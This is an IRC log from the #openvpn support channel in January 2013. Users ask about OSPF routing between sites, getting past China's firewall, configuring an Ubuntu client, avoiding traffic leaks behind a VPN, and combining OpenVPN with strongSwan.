14:06 -!- vpopov [~happylife@149.62.17.217] has quit [Read error: Operation timed out]
14:16 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
14:16 -!- mode/#openvpn [+o mattock] by ChanServ
14:20 -!- mute [mute@clt.scottn.us] has joined #openvpn
14:20 -!- SpookZA [~SpookZA@197.87.53.234] has joined #openvpn
14:25 -!- mute [mute@clt.scottn.us] has left #openvpn []
14:26 -!- _polto_ [~polto@105-233.197-178.cust.bluewin.ch] has joined #openvpn
14:26 -!- _polto_ [~polto@105-233.197-178.cust.bluewin.ch] has quit [Changing host]
14:26 -!- _polto_ [~polto@fsf/member/polto] has joined #openvpn
14:32 -!- Valcorb [~Valcorb@94-227-38-227.access.telenet.be] has joined #openvpn
14:34 <@ecrist> bitch
14:34 <@ecrist> boats and hos even
14:35 -!- Irssi: #openvpn: Total of 170 nicks [6 ops, 0 halfops, 3 voices, 161 normal]
14:36 -!- Porkepix [~Porkepix@lns-bzn-27-82-248-28-249.adsl.proxad.net] has joined #openvpn
14:54 -!- _polto_ [~polto@fsf/member/polto] has quit [Ping timeout: 244 seconds]
14:59 -!- _polto_ [~polto@105-233.197-178.cust.bluewin.ch] has joined #openvpn
14:59 -!- _polto_ [~polto@105-233.197-178.cust.bluewin.ch] has quit [Changing host]
14:59 -!- _polto_ [~polto@fsf/member/polto] has joined #openvpn
15:10 -!- brute11k [~brute11k@89.249.231.95] has quit [Quit: Leaving.]
15:14 -!- brute11k [~brute11k@89.249.231.95] has joined #openvpn
15:17 -!- brute11k [~brute11k@89.249.231.95] has quit [Client Quit]
15:20 -!- rkantos [robin@4e.fi] has quit [Ping timeout: 252 seconds]
15:27 -!- rkantos [robin@4e.fi] has joined #openvpn
15:30 -!- rkantos_ [robin@4e.fi] has joined #openvpn
15:30 -!- rkantos_ [robin@4e.fi] has quit [Client Quit]
15:33 -!- wh1pl4sh88 [~wh1pl4sh@host-2-100-148-6.as13285.net] has quit [Ping timeout: 246 seconds]
15:33 -!- _polto_ [~polto@fsf/member/polto] has quit [Ping timeout: 276 seconds]
15:34 -!- wh1pl4sh88 [~wh1pl4sh@host-2-100-148-6.as13285.net] has joined #openvpn
15:46 -!- bisko [~bisko@178.254.232.159] has joined #openvpn
15:50 -!- JPeterson [~JPeterson@s213-103-211-4.cust.tele2.se] has quit [Quit:  HydraIRC -> http://www.hydrairc.com <- \o/]
15:50 -!- JPeterson [~JPeterson@s213-103-211-4.cust.tele2.se] has joined #openvpn
15:52 -!- rkantos [robin@4e.fi] has quit [Ping timeout: 276 seconds]
15:56 -!- dazo is now known as dazo_afk
15:56 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit [Ping timeout: 248 seconds]
15:57 -!- rkantos [robin@4e.fi] has joined #openvpn
16:00 -!- bisko [~bisko@178.254.232.159] has quit [Ping timeout: 255 seconds]
16:02 -!- JPeterson [~JPeterson@s213-103-211-4.cust.tele2.se] has quit [Read error: Connection reset by peer]
16:02 -!- JPeterson [~JPeterson@s213-103-211-4.cust.tele2.se] has joined #openvpn
16:04 -!- bisko [~bisko@178.254.232.159] has joined #openvpn
16:07 -!- rkantos [robin@4e.fi] has quit [Ping timeout: 252 seconds]
16:14 -!- rkantos [robin@4e.fi] has joined #openvpn
16:14 -!- scyld [~scyld@unaffiliated/wasyl] has quit [Quit: Wychodzi]
16:18 -!- mbrit [~mbrit@186.120.97.194] has quit [Read error: Connection reset by peer]
16:21 -!- scyld [~scyld@unaffiliated/wasyl] has joined #openvpn
16:30 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has quit [Quit: Leaving]
16:35 -!- BtbN [~btbn@btbn.de] has quit [Ping timeout: 246 seconds]
16:35 -!- AsadH [~AsadH@unaffiliated/asadh] has quit [Ping timeout: 276 seconds]
16:37 -!- BtbN [~btbn@btbn.de] has joined #openvpn
16:38 -!- k1ng [~k1ng@unaffiliated/k1ng] has quit [Read error: Connection reset by peer]
16:42 -!- zz_AsadH [~AsadH@irc.unixio.com] has joined #openvpn
16:43 -!- zz_AsadH is now known as AsadH
16:43 -!- AsadH [~AsadH@irc.unixio.com] has quit [Changing host]
16:43 -!- AsadH [~AsadH@unaffiliated/asadh] has joined #openvpn
16:50 -!- k1ng [~k1ng@76.73.57.172] has joined #openvpn
16:50 -!- k1ng [~k1ng@76.73.57.172] has quit [Changing host]
16:50 -!- k1ng [~k1ng@unaffiliated/k1ng] has joined #openvpn
16:57 -!- bisko [~bisko@178.254.232.159] has quit [Quit: Computer has gone to sleep.]
17:01 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
17:19 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
17:20 -!- Devastator [~devas@186.214.14.9] has joined #openvpn
17:43 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: ZNC - http://znc.in]
17:43 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Quit: I shouldn't have left....]
17:44 -!- raidz [~raidz@raidz.im] has joined #openvpn
17:44 -!- raidz [~raidz@raidz.im] has quit [Changing host]
17:44 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
17:44 -!- mode/#openvpn [+o raidz] by ChanServ
17:45 -!- mattock [~mattock@raidz.im] has joined #openvpn
17:45 -!- mattock [~mattock@raidz.im] has quit [Changing host]
17:45 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
17:45 -!- mode/#openvpn [+o mattock] by ChanServ
17:50 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Quit: I shouldn't have left....]
17:50 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Client Quit]
17:50 -!- raidz [~raidz@raidz.im] has joined #openvpn
17:50 -!- raidz [~raidz@raidz.im] has quit [Changing host]
17:50 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
17:50 -!- mode/#openvpn [+o raidz] by ChanServ
17:51 -!- mattock [~mattock@raidz.im] has joined #openvpn
17:51 -!- mattock [~mattock@raidz.im] has quit [Changing host]
17:51 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
17:51 -!- mode/#openvpn [+o mattock] by ChanServ
18:22 -!- rkantos [robin@4e.fi] has quit [Ping timeout: 245 seconds]
18:31 -!- rkantos [robin@4e.fi] has joined #openvpn
18:58 -!- rkantos [robin@4e.fi] has quit [Ping timeout: 240 seconds]
19:01 -!- rkantos [~Name@4e.fi] has joined #openvpn
19:08 -!- raidz is now known as raidz_away
19:09 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Ping timeout: 252 seconds]
19:14 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
19:16 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
19:17 -!- Carbon_Monoxide [~cmonxide@058176022144.ctinets.com] has joined #openvpn
19:31 -!- dmz [~dmz@unaffiliated/dmz] has joined #openvpn
19:32 < dmz> anyone ever used openvpn just for a network connection w/no route details on either side, just a simple p2p connection and then used bgp or other protocol to handle routing; we have multiple sites and the routing is getting dicey
19:33 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
19:50 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
19:50 -!- mode/#openvpn [+o krzee] by ChanServ
20:10 -!- rkantos [~Name@4e.fi] has quit [Ping timeout: 276 seconds]
20:17 -!- rkantos [robin@4e.fi] has joined #openvpn
20:19 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
20:32 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
20:49 -!- Valcorb [~Valcorb@94-227-38-227.access.telenet.be] has quit [Read error: Connection reset by peer]
21:17 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 256 seconds]
21:32 -!- Devastator [~devas@186.214.14.9] has quit [Changing host]
21:32 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
21:37 -!- brute11k [~brute11k@89.249.235.94] has joined #openvpn
22:25 -!- Carbon_Monoxide [~cmonxide@058176022144.ctinets.com] has quit [Quit: Leaving]
22:34 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit []
22:50 -!- brute11k [~brute11k@89.249.235.94] has quit [Read error: Connection reset by peer]
23:07 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 240 seconds]
23:15 -!- brute11k [~brute11k@89.249.235.94] has joined #openvpn
23:19 -!- brute11k [~brute11k@89.249.235.94] has quit [Read error: Connection reset by peer]
23:19 -!- brute11k [~brute11k@89.249.235.94] has joined #openvpn
23:24 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
23:24 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
23:24 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
23:24 -!- mode/#openvpn [+o krzee] by ChanServ
--- Day changed Sat Jan 26 2013
00:08 -!- vpopov [~happylife@149.62.17.217] has joined #openvpn
00:14 -!- brute11k [~brute11k@89.249.235.94] has quit [Read error: Connection reset by peer]
00:15 -!- brute11k [~brute11k@89.249.235.94] has joined #openvpn
00:18 -!- brute11k [~brute11k@89.249.235.94] has quit [Client Quit]
00:22 -!- brute11k [~brute11k@89.249.235.94] has joined #openvpn
00:27 -!- vpopov [~happylife@149.62.17.217] has quit [Ping timeout: 252 seconds]
01:08 -!- mattock is now known as mattock_afk
01:25 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer]
01:34 -!- brute11k [~brute11k@89.249.235.94] has quit [Read error: Connection reset by peer]
01:42 -!- brute11k [~brute11k@89.249.235.94] has joined #openvpn
01:43 -!- brute11k [~brute11k@89.249.235.94] has quit [Client Quit]
01:47 -!- brute11k [~brute11k@89.249.235.94] has joined #openvpn
01:49 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
01:49 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
01:49 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
01:49 -!- mode/#openvpn [+o krzee] by ChanServ
01:57 -!- brute11k [~brute11k@89.249.235.94] has quit [Quit: Leaving.]
02:01 -!- brute11k [~brute11k@89.249.235.94] has joined #openvpn
02:07 -!- brute11k [~brute11k@89.249.235.94] has quit [Read error: Connection reset by peer]
02:09 -!- brute11k [~brute11k@89.249.235.94] has joined #openvpn
02:10 -!- brute11k [~brute11k@89.249.235.94] has quit [Client Quit]
02:18 -!- niervol [~krystian@193.106.244.150] has quit [Quit: Leaving.]
02:28 -!- MeanderingCode [~Meanderin@71-213-188-66.albq.qwest.net] has quit [Ping timeout: 252 seconds]
02:40 -!- niervol [~krystian@193.106.244.150] has joined #openvpn
02:53 -!- bisko [~bisko@178.254.232.159] has joined #openvpn
03:20 -!- brute11k [~brute11k@89.249.235.94] has joined #openvpn
03:39 -!- Porkepix [~Porkepix@lns-bzn-27-82-248-28-249.adsl.proxad.net] has quit [Ping timeout: 252 seconds]
03:42 -!- Porkepix [~Porkepix@lns-bzn-27-82-248-28-249.adsl.proxad.net] has joined #openvpn
03:43 < pppingme> dmz yep, and I use ospf
03:47 < SpookZA> me too
03:47 < SpookZA> pppingme ... do you have multiple paths or is it pure hub and spoke?
03:49 -!- defsdoor [~andy@cpc17-sutt4-2-0-cust175.perr.cable.virginmedia.com] has joined #openvpn
03:54 -!- brute11k [~brute11k@89.249.235.94] has quit [Read error: Connection reset by peer]
03:56 -!- brute11k [~brute11k@89.249.235.94] has joined #openvpn
04:02 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
04:03 -!- brute11k [~brute11k@89.249.235.94] has quit [Read error: Connection reset by peer]
04:03 -!- Devastator [~devas@186.214.111.217] has joined #openvpn
04:05 -!- scyld [~scyld@unaffiliated/wasyl] has quit [Ping timeout: 245 seconds]
04:08 -!- brute11k [~brute11k@89.249.235.94] has joined #openvpn
04:08 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
04:15 -!- ade_b [~Ade@koln-4d0b1082.pool.mediaWays.net] has joined #openvpn
04:15 -!- ade_b [~Ade@koln-4d0b1082.pool.mediaWays.net] has quit [Changing host]
04:15 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
04:31 -!- brute11k [~brute11k@89.249.235.94] has quit [Read error: Connection reset by peer]
04:34 -!- brute11k [~brute11k@89.249.235.94] has joined #openvpn
05:06 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
05:22 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
05:27 -!- bisko [~bisko@178.254.232.159] has quit [Ping timeout: 252 seconds]
05:30 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
05:30 < Eagleman> Its not possible to connect to a server with a server certificate?
06:09 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 255 seconds]
06:13 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
06:22 -!- brute11k [~brute11k@89.249.235.94] has quit [Read error: Connection reset by peer]
06:23 -!- BtbN [~btbn@btbn.de] has quit [Ping timeout: 264 seconds]
06:23 -!- niervol [~krystian@193.106.244.150] has quit [Quit: Leaving.]
06:25 -!- brute11k [~brute11k@89.249.235.94] has joined #openvpn
06:25 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
06:25 -!- BtbN [~btbn@btbn.de] has joined #openvpn
06:28 -!- scyld [~scyld@unaffiliated/wasyl] has joined #openvpn
06:30 -!- ak5_ [~ak5@unaffiliated/ak5] has joined #openvpn
06:31 < ak5_> hi everyone, I am trying to create a small vpn to access the web securely in China. I wanted to ask if I can use openvpn via https?
06:40 < Eagleman> Yes you can, use tcp and port 443
06:56 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
07:08 -!- wh1pl4sh88 [~wh1pl4sh@host-2-100-148-6.as13285.net] has quit [Ping timeout: 256 seconds]
07:10 < ak5_> Eagleman: thanks a lot. Can I also use tlspsk?
07:19 -!- lbft [~lbft@199.195.249.177] has joined #openvpn
07:33 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has joined #openvpn
07:56 -!- bjh4 [~bjh4@ool-4357696f.dyn.optonline.net] has joined #openvpn
08:03 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds]
08:05 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has joined #openvpn
08:40 < kisom> ak5_: It depends on what ISP you use in china
08:40 <+hazardous> you may need to use obfsproxy too
08:41 < ak5_> Isee
08:41 <+hazardous> !obfs
08:41 <@vpnHelper> "obfs" is (#1) if you are looking to obfuscate your traffic to get through a firewall that recognizes and blocks openvpn, try using this proxy: obfsproxy https://www.torproject.org/projects/obfsproxy.html.en or (#2) http://community.openvpn.net/openvpn/wiki/TrafficObfuscation
08:41 < ak5_> kisom: how does this differ between ISPs in china?
08:41 < ak5_> !tlsspk
08:41 < ak5_> :(
08:41 < ak5_> still found no documentation for this, besides the spec
08:42 <+hazardous> ak5_: i presume some fuck with their network a bit more
08:42 < ak5_> probably
08:43 < ak5_> and since my office is on old military grounds I get the shittiest ISP of all: that of the military
08:44 < kisom> ak5_: in my experience it does. and i get paid to make sure a certain big company have uncensored access in china :P
08:44 < ak5_> kisom: in that case, do you use openvpn?
08:45 < kisom> ak5_: We use openvpn but we've modified the code somewhat
08:45 < ak5_> kisom: I see. Do you use tlspsk and should I?
08:45 < kisom> We use port 80 and 443 mainly, and the connection really looks like either HTTP or HTTPS
08:45 < ak5_> interesting
08:46 < ak5_> these are closed source patches I take it
08:46 < ak5_> I am learning a bit about networking, I am by no means an expert
08:46 < kisom> I assume TLSPSK (by the name of it) just takes the data and encrypts it with some PSK so it looks just like random data?
08:46 < ak5_> kisom: yes
08:46 < kisom> Then it might help
08:47 < ak5_> ok, great
08:47 < kisom> also, you can ignore packets with the RST flag set
08:47 < ak5_> kisom: another question, why use http?
08:47 < kisom> The china firewall does not block anything, it just sends RST to both ends
08:47 <+hazardous> isn't some https mitm'd anyways since iirc CNNIC and a few others are root ca's
08:48 < kisom> hazardous: We use our own CA only :)
08:48 < ak5_> I would setup my own CA as well, all I have to do is mirror one, right?
08:50 < kisom> Mirror one...?
08:50 < kisom> Just create one with openssl or similar
08:51 <+hazardous> what, mirror one?
08:52 -!- JackWinter [~jack@vodsl-4655.vo.lu] has quit [Quit: ZNC - http://znc.in]
08:54 -!- JackWinter [~jack@vodsl-4655.vo.lu] has joined #openvpn
08:54 -!- bjh4 [~bjh4@ool-4357696f.dyn.optonline.net] has quit [Remote host closed the connection]
08:56 < ak5_> hm, I mistook CA for DNS server - like I said I am a beginner, sry
08:56 < ak5_> I know now what that is :)
08:57 < rob0> "mirror" is not a DNS term either.
08:57 < ak5_> well
08:57 < ak5_> sorry
08:57 < ak5_> :)
08:58 < ak5_> 'be slave of'?
08:58 < ak5_> what should I say
08:58 < rob0> you should say what you want this nameserver to do.
08:59 -!- Valcorb [~Valcorb@199.229.249.189] has joined #openvpn
09:00 < kisom> Nice, seems you can have a network interface with Tor
09:00 < kisom> Gonna try and bridge it to my OpenVPN server
09:01 < rob0> I'm not sure how having a nameserver relates to the VPN/GFWChina issue, either.
09:02 < kisom> ak5_: By the way, SSH usually works fine in China.
09:02 < ak5_> kisom: yeah, but not for UDP
09:03 < ak5_> , right?
09:03 < kisom> SSH has built-in support for "VPNs" last time I checked
09:03 < ak5_> yes, -w
09:03 < kisom> Aka you can create a network interface to the remote machine
09:03 < rob0> ssh is TCP-only, yes
09:03 < kisom> Yes but you can still tunnel UDP over TCP.
09:03 -!- JackWinter [~jack@vodsl-4655.vo.lu] has quit [Quit: ZNC - http://znc.in]
09:04 < kisom> If that was the question.
09:04 < ak5_> but, I read this, which applies for -w but not -D or -L http://sites.inka.de/bigred/devel/tcp-tcp.html
09:04 <@vpnHelper> Title: Why TCP Over TCP Is A Bad Idea (at sites.inka.de)
09:04 < ak5_> which is why I wanted to go with openvpn instead of ssh - still unsure if that was the take-away, though :D
09:05 < kisom> Well, in my experience TCP over TCP works surprisingly well.
09:05 < rob0> TCP Over TCP Is A Bad Idea in general, not specific to the tunnel software.
09:05 -!- JackWinter [~jack@vodsl-4655.vo.lu] has joined #openvpn
09:05 < rob0> It works well if you are not losing any packets.
09:05 < ak5_> kisom: even when using flowcontrol?
09:06 < kisom> Yes
09:07 < kisom> I generally browse the web over my VPN, so yeah..
09:09 < ak5_> hm, interesting
09:09 < ak5_> any netsec books anyone recommends?
09:12 < Eagleman> Its not possible to connect to a server with a server certificate?
09:12 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has quit [Quit: Sto andando via]
09:37 -!- mrebola [~cesar@187.245.157.97] has joined #openvpn
09:37 < mrebola> Hi everybody !
09:37 < mrebola> Is anybody here
09:37 < mrebola> I need some help :$
09:37 < mrebola> ?
09:38 <+hazardous> with
09:38 < mrebola> hi hazardous :D
09:38 < mrebola> thanks for asking
09:38 < mrebola> well
09:38 < mrebola> I installed openvpn in a centos server
09:38 < mrebola> with the rpm
09:38 < mrebola> was so easy to install
09:38 < mrebola> and I can configured the client in windows and mac
09:39 < mrebola> but unfortunately  I use ubuntu as my major OS
09:39 < mrebola> and I cant connect to the vpn from there
09:39 < mrebola> I dont know where to take the crt o key file
09:40 < mrebola> to add in my vpn configs
09:40 < mrebola> you know the CA Certificate
09:40 < mrebola> can you help me a little , please ?
09:40 <+hazardous> i have no idea, never used ubuntu as a client unfortunately
09:40 < mrebola> or linux ?
09:41 < mrebola> think as a linux computer
09:41 < mrebola> windows and mac is so easy
09:41 < rob0> huh?
09:41 <+hazardous> i think he's trying to set up
09:41 < mrebola> hi rob0
09:41 <+hazardous> an openvpn client on ubunut
09:41 < mrebola> yep Im trying that
09:41 <+hazardous> aren't the crt and key settings just paths in the config
09:41 <+hazardous> and you can put them anywhere
09:41 < rob0> Make your config file. Put the files where it says they are. Run openvpn with that config.
09:42 -!- mcp [~mcp@wolk-project.de] has quit [Quit: ZNC - http://znc.sourceforge.net]
09:42 < rob0> Check ubuntu documentation for the quirks they have added.
09:42 < mrebola> well I installed the openvpn client and that thing ask me for the username , password and ca certificate , the last one is what I dont know where it is
09:42 < mrebola> well I tried
09:43 < mrebola> but I read I have to generate the keyfile and / or crt file
09:43 < mrebola> from a generator
09:43 < mrebola> wtha command
09:43 < mrebola> but that comand doesnt work in my computer
09:43 < mrebola> the weirdest thing is , I can use the vpn in windows and mac
09:43 < mrebola> just ubuntu is asking me for that file
09:43 <+hazardous> how are you using it in windows and mac
09:44 -!- Devastator [~devas@186.214.111.217] has quit [Changing host]
09:44 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
09:44 < mrebola> I just install the openvpn client and then put the user name and password
09:44 < mrebola> the client is gui
09:44 < mrebola> so I just write down my credentials
09:44 < mrebola> easy as pi
09:44 <+hazardous> apt-get install network-manager-openvpn
09:44 < mrebola> but heck linux dude , getting hard everything LOL
09:44 <+hazardous> open network manager and add an openvpn with type set to password?
09:45 < mrebola> yep thats what I have
09:45 < mrebola> network-manager-openvpn is already the newest version.
09:46 < mrebola> check this out
09:46 <+hazardous> docs say to add 'auth-user-pass' by itself on a line in openvpn conf
09:46 < mrebola> ammm
09:46 < mrebola> can you send me that link please
09:46 < mrebola> I dont remember ready anything about it
09:46 < mrebola> seems like you are about to save my ass LOL
09:49 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has quit [Quit: Leaving]
09:52 < mrebola> cesar@cesar-UX31E:~$ sudo find / -name "openvpn.conf"
09:52 < mrebola> nothing !
09:52 < mrebola> this is cursed
09:53 < mrebola> cesar@cesar-UX31E:/etc/openvpn$ ls
09:53 < mrebola> client.conf
09:53 < mrebola> Think  I found it
09:53 < |Mike|> good boy
09:53 < mrebola> hahaha
09:53 < mrebola> hi |Mike|
09:54 < mrebola> I feel so n00b with this thing
09:54 < |Mike|> sorry for me beeing sarcastic ;)
09:54 < mrebola> no problem :)
09:54 -!- mcp [~mcp@wolk-project.de] has joined #openvpn
09:55 < mrebola> well I dont have any auth-user-pass in my /etc/openvpn/client.conf
09:56 < mrebola> does anybody know how to run this openvpn with the network-manager-openvpn in linux / ubuntu ?
09:56 < mrebola> or everybody here is a Mac or Windows user ?
09:57 < mrebola> |Mike|: what about you?
09:58 -!- Orbi [~opera@anon-184-7.vpn.ipredator.se] has joined #openvpn
10:15 -!- mrebola [~cesar@187.245.157.97] has left #openvpn []
10:24 < rob0> whew
10:24 < rob0> a "help vampire" has been sucking the lifeblood of #openvpn !
10:25 < |Mike|> i detached my screen... bussy
10:26 < |Mike|> 2013/01/26 16:43:20 < mrebola> but that comand doesnt work in my computer  <-- sorry, but i had to laugh about him for a bit :P
10:29 -!- vpopov [~happylife@149.62.17.217] has joined #openvpn
10:32 < rob0> Amazing how many people who don't understand computing and network basics "need" advanced network tricks like VPNs.
10:33 < |Mike|> I seen weirder stuff yesterday ;)
10:44 < frsk> I love how he started configuring OS X and Windows before even thinking about his major OS.. :-)
10:44 < |Mike|> he was lying about that frsk ;)
10:45 < frsk> Wouldn't be shocked :)
10:45 -!- mrebola [~cesar@187.245.157.97] has joined #openvpn
10:46 -!- scyld [~scyld@unaffiliated/wasyl] has quit [Quit: Wychodzi]
10:50 -!- mrebola [~cesar@187.245.157.97] has left #openvpn []
10:58 < |Mike|> lol?
11:00 -!- Valcorb [~Valcorb@199.229.249.189] has quit [Ping timeout: 244 seconds]
11:00 -!- Valcorb [~Valcorb@94-227-38-227.access.telenet.be] has joined #openvpn
11:11 -!- wh1pl4sh88 [~wh1pl4sh@host-2-100-148-6.as13285.net] has joined #openvpn
11:13 -!- eugenmayer [~EugenMaye@HSI-KBW-109-193-196-063.hsi7.kabel-badenwuerttemberg.de] has joined #openvpn
11:13 < eugenmayer> Hello guys. pekster thank you for helping me last time (UPD issues) but my internet completly gone off..
11:14 < eugenmayer> Since i have trouble with my ISP paket loss (from 10-25%..so useless..) iam thinking about allowing UDP and TCP connections at the same time. Is this possible?
11:16 < eugenmayer> thats how my server configuration looks like currently : http://pastie.org/5869535
11:16 < eugenmayer> proto?
11:17 < eugenmayer> If you want your OpenVPN server to listen on a TCP port instead of a UDP port, use proto tcp instead of proto udp (If you want OpenVPN to listen on both a UDP and TCP port, you must run two separate OpenVPN instances).
11:18 < eugenmayer> found this..just in case…the issue with that would be that the networks would be seperated, right. I would like to have all clients in one net, no matter they are connected using UDP or TCP
11:21 < eugenmayer> AFAICs its not possible to run 2 instances for the same net for udp/tcp for the same IP range when using routed, but it could be done using bridged?
11:21 < eugenmayer> (reading https://forums.openvpn.net/topic8207.html)
11:21 <@vpnHelper> Title: OpenVPN Support Forum Issue with multiple instance (tcp & udp) : Configuration (at forums.openvpn.net)
11:24 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 240 seconds]
11:29 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 276 seconds]
11:30 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has joined #openvpn
11:36 -!- Orbi [~opera@anon-184-7.vpn.ipredator.se] has quit [Quit: Orbi]
11:43 < jackbrown> When I'm behind a VPN is the whols system behind it or it's possible that some program will use my normal connection revealing my IP ?
11:43 < eugenmayer> jackbrown: this is possible yes
11:45 < EugeneKay> Where "behind a VPN" means "using redirect-gateway", it is possible for a program to keep connections open using your old default gateway. New ones should pass through the vpn link, but this is not guaranteed by openvpn.
11:45 < EugeneKay> If you want to ensure no leaks occur you must use an outgoing firewall rule set(dropping all traffic except that going via the VPN, and the VPN link itself)
11:47 < jackbrown> EugeneKay: how?
11:47 < EugeneKay> man iptables
11:52 < jackbrown> EugeneKay: how can I easily check that when I'm behind a VPN nothing is using my normal connections ?
11:52 < uberushaximus> ifconfig
11:52 < jackbrown> EugeneKay: is this website enough ? http://www.dnsleaktest.com/
11:52 <@vpnHelper> Title: DNS leak test (at www.dnsleaktest.com)
11:53 <+hazardous> netstat -anp | grep yourvpnip?
11:53 < EugeneKay> No.
11:53 < EugeneKay> !101
11:53 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
11:54 < jackbrown> EugeneKay:  no ?
11:55 < EugeneKay> That website covers one possible leak. There are far more ways for them to develop.
11:56 < jackbrown> EugeneKay: that website covers web browser leaks? it that website doesn't shows any leak my http browsing is safe ?
11:57 < EugeneKay> That's not what I said; and no, that can't be guaranteed.
12:21 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
12:34 < eugenmayer> Are there any tutorials on how to combine strongswan with OpenVPN?
12:34 < eugenmayer> At least by asking google it seems not to be done often (i did not find anything)
12:36 < eugenmayer> http://serverfault.com/questions/432363/strongswan-and-openvpn-together is what i found for now\
12:36 <@vpnHelper> Title: amazon ec2 - Strongswan and OpenVPN together - Server Fault (at serverfault.com)
12:40 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has quit [Quit: Sto andando via]
12:46 < kisom> eugenmayer: "Combine"? Just set up both and create a bridge or route?
12:48 < eugenmayer> kisom: is it that easy? Just dont get me wrong, i have 5 VPN nets, lets say 10.1.0.0-10.6.0.0, 4 are routed, 1 is bridged . Now when installing strongswan lets say for the 10.1 net, i use a different subnet there, or just lets say 10.11.0.0, then push a route to those clients to use 10.1.0.1 as the default gatway?
12:48 < eugenmayer> kisom: if you as why the heck i need both..its the old story..i have clients which do not have OpenVPN clients, only IPsec.
12:50 < eugenmayer> as far as i know EugeneKay does not like any bridged setups and iam sure there are reasons. So i guess i should use the "routed" way of doing this
12:51 < EugeneKay> !whybridge
12:51 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting
12:51 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
12:52 < eugenmayer> EugeneKay: in my case, the reason for tap is different. I need the device to stay alive even if the connection drops, as there are services bound to that (only) IP, and if tun goes done, this ip disapears and makes the service anvail
12:52 < eugenmayer> But iam sure thats just a very special case
12:53 < EugeneKay> I bind to eth0 and use DNAT to hop the traffic from tun0 over ;-)
12:53 < eugenmayer> Yeah know i have an issue - i did not understand a single word of what you just told me :)
12:53 < eugenmayer> (iam just honest)
12:54 < EugeneKay> At least you acknowledge that you have a problem
12:54 -!- rkantos [robin@4e.fi] has quit [Ping timeout: 245 seconds]
12:56 < pppingme> SpookZA I have two "central points" (which don't have a physical network behind them), then every "site" has a simple static (basically a key and ifconfig statement) to both central points, one of the "sites" has three connections (cable, dsl, 3g, running on three seperate linux boxes as routers), most only have one though, all the sites have an rfc1918 /24, and not a single static route anywhere, all figured out with ospf, all sites also use t
12:56 < pppingme> heir main internet connection as default route, so only learned routes go through the wan.
12:57 -!- EugeneKay [eugene@stretchmyan.us] has quit [Quit: ZNC - http://znc.in]
12:58 -!- EugeneKay [eugene@itvends.com] has joined #openvpn
13:01 -!- rkantos [robin@4e.fi] has joined #openvpn
13:13 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn
13:30 -!- wh1pl4sh88 [~wh1pl4sh@host-2-100-148-6.as13285.net] has quit [Ping timeout: 256 seconds]
